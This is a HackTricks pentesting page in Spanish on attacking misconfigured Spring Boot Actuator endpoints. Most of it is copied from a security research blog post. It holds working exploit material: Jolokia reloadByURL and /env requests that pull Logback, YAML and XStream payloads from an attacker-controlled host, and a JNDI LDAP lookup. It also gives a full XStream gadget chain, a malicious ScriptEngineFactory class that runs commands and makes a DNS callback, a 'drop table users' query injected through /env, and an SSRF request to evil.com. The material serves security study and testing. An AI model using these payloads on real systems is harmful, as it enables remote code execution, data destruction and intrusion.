hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

21 KiB

Spring Actuators

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass de Autenticación de Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explotando Spring Boot Actuators

copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

El Framework Spring Boot incluye una serie de características llamadas actuators para ayudarte a monitorear y administrar tu aplicación web cuando la implementas en producción. Diseñados para ser utilizados para auditoría, salud y recopilación de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.

Cuando una aplicación de Spring Boot está en ejecución, automáticamente registra varios endpoints (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, lo que causa problemas significativos de seguridad. A partir de la versión de Spring 1.5, todos los endpoints excepto '/health' y '/info' se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es deshabilitada por los desarrolladores de la aplicación.

Los siguientes endpoints de Actuator podrían tener implicaciones de seguridad que conducen a posibles vulnerabilidades:

  • /dump - muestra un volcado de hilos (incluyendo una traza de pila)
  • /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión)
  • /logfile - muestra el contenido del archivo de registro
  • /shutdown - apaga la aplicación
  • /mappings - muestra todos los mapeos de controladores MVC
  • /env - proporciona acceso al entorno de configuración
  • /actuator/env
  • /restart - reinicia la aplicación
  • /heapdump - construye y devuelve un volcado de montón desde la JVM utilizada por nuestra aplicación

Para Spring 1x, se registran bajo la URL raíz, y en 2x se movieron a la ruta base "/actuator/".

Explotación:

La mayoría de los actuators solo admiten solicitudes GET y simplemente revelan datos de configuración sensibles, pero algunos de ellos son particularmente interesantes para los cazadores de shells:

1. Ejecución de código remoto a través de '/jolokia'

Si la biblioteca Jolokia está en el classpath de la aplicación objetivo, Spring Boot la expone automáticamente bajo el endpoint '/jolokia' del actuator. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que se pueden realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:

http://127.0.0.1:8090/jolokia/list

Nuevamente, la mayoría de las acciones de MBeans solo revelan algunos datos del sistema, pero una es particularmente interesante:

reloadByURL

La acción 'reloadByURL', proporcionada por la biblioteca Logback, nos permite recargar la configuración de registro desde una URL externa. Se puede activar simplemente navegando a: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Entonces, ¿por qué deberíamos preocuparnos por la configuración de registro? Principalmente por dos cosas:

  1. La configuración tiene un formato XML y, por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo que es vulnerable a XXE ciego.
  2. La configuración de Logback tiene la característica 'Obtención de variables de JNDI'. En el archivo XML, podemos incluir una etiqueta como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' y el atributo name se pasará al método DirContext.lookup(). Si podemos proporcionar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una Ejecución de Código Remoto completa.

Cómo funciona:

1. Un atacante solicita la URL mencionada anteriormente para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.

2. La función 'reloadByURL' descarga una nueva configuración desde http://artsploit.com/logback.xml y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Cuando este archivo se analiza en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Referencia' para desencadenar una ejecución del bytecode suministrado en la aplicación objetivo. Los ataques de JNDI se explican detalladamente en este documento de investigación de MicroFocus. La nueva técnica de explotación de JNDI (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Framework Spring Boot.

2. Modificación de la configuración a través de '/env'

Si las bibliotecas de Spring Cloud están en el classpath, el punto final '/env' te permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '@ConfigurationProperties' pueden ser modificados y reasignados. Muchas, pero no todas, las propiedades que podemos controlar se enumeran en el punto final '/configprops' del actuador. En realidad, hay toneladas de ellas, pero no está del todo claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas, encontramos esto:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propiedad modifica la serviceURL de Eureka a un valor arbitrario. El servidor Eureka se utiliza normalmente como un servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y le envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente se incluye en Spring Cloud Netflix), puedes aprovechar la vulnerabilidad de deserialización de XStream en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' a la URL de tu servidor (http://artsploit.com/n/xstream) a través de '/env' y luego llamar al punto final '/refresh'. Después de eso, tu servidor debería servir la carga útil de XStream con el siguiente contenido:

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO solo para JDK de la investigación de Marshalsec. La única diferencia aquí es el uso de LinkedHashSet para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original utiliza java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un convertidor personalizado para mapas que lo hace inutilizable. El payload anterior no utiliza mapas en absoluto y se puede utilizar para lograr la ejecución remota de código sin restricciones adicionales.

Usando Spring Actuators, en realidad puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible.

Otras configuraciones útiles:

spring.datasource.tomcat.validationQuery=drop+table+users - te permite especificar cualquier consulta SQL y se ejecutará automáticamente en la base de datos actual. Puede ser cualquier declaración, incluyendo insertar, actualizar o eliminar.

Explotando Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - te permite modificar la cadena de conexión JDBC actual.

El último se ve genial, pero el problema es cuando la aplicación que ejecuta la conexión de la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:

spring.datasource.tomcat.max-active=777

El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo carga, la aplicación creará una nueva conexión de base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente con Mysql y funciona de maravilla.

Explotando Spring Boot Actuators Max Active

Además de eso, hay otras propiedades que parecen interesantes, pero en la práctica no son realmente útiles:

spring.datasource.url - cadena de conexión de la base de datos (solo se utiliza para la primera conexión)

spring.datasource.jndiName - cadena JNDI de la base de datos (solo se utiliza para la primera conexión)

spring.datasource.tomcat.dataSourceJNDI - cadena JNDI de la base de datos (no se utiliza en absoluto)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuración de Spring Cloud (no tiene ningún efecto después de iniciar la aplicación, solo se utilizan los valores iniciales).

Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todo el ApplicationContext, pero está desactivado de forma predeterminada.

Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen un efecto inmediato después del cambio.

N.B. En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (utiliza formato json en su lugar), pero la idea es la misma.

Un ejemplo de la aplicación vulnerable:

Si quieres probar esta vulnerabilidad localmente, creé una aplicación simple de Spring Boot en mi página de Github. Todos los payloads deberían funcionar allí, excepto la configuración de la base de datos (a menos que la configures).

Descubrimiento de caja negra:

Una lista completa de actuadores predeterminados se puede encontrar aquí: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.

Actualización de mayo de 2019:

Hay una forma más confiable de lograr RCE a través de una modificación de las propiedades ambientales de Spring.

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', que se utiliza para cargar la configuración externa y analizarla en formato YAML. Para que esto ocurra, también necesitamos llamar al punto final '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Cuando la configuración YAML se obtiene del servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. La carga útil (yaml-payload.yml) puede generarse utilizando la investigación mencionada anteriormente de Marshalsec:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

La deserialización de este archivo desencadena la ejecución del constructor de ScriptEngineManager con el URLClassLoader suministrado. En pocas palabras, esto lleva al método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de URLClassLoader, podemos servir una nueva 'ScriptEngineFactory' con el bytecode malicioso en su interior. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class debe contener el bytecode real, con la carga maliciosa en el constructor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory debería ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que el ServiceLoader sepa dónde encontrar la clase: artsploit.AwesomeScriptEngineFactory. Nuevamente, esta técnica de explotación requiere que Spring Cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puedes encontrar el payload completo en mi proyecto de GitHub: yaml-payload.

Env + H2 RCE

Consulta esta página para aprender cómo explotar la combinación /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

SSRF en Spring Boot a través de una interpretación incorrecta de la ruta

A partir de esta investigación: El framework Spring acepta el carácter separador de parámetros de matriz ; antes de la primera barra diagonal de la ruta HTTP:

GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

En un escenario como el siguiente:

Teniendo en cuenta que Spring permite cualquier carácter después del separador de parámetros de matriz, es posible utilizar el carácter @ para obtener un punto final arbitrario también.

A continuación se muestra un ejemplo de la solicitud de explotación:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Más información

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥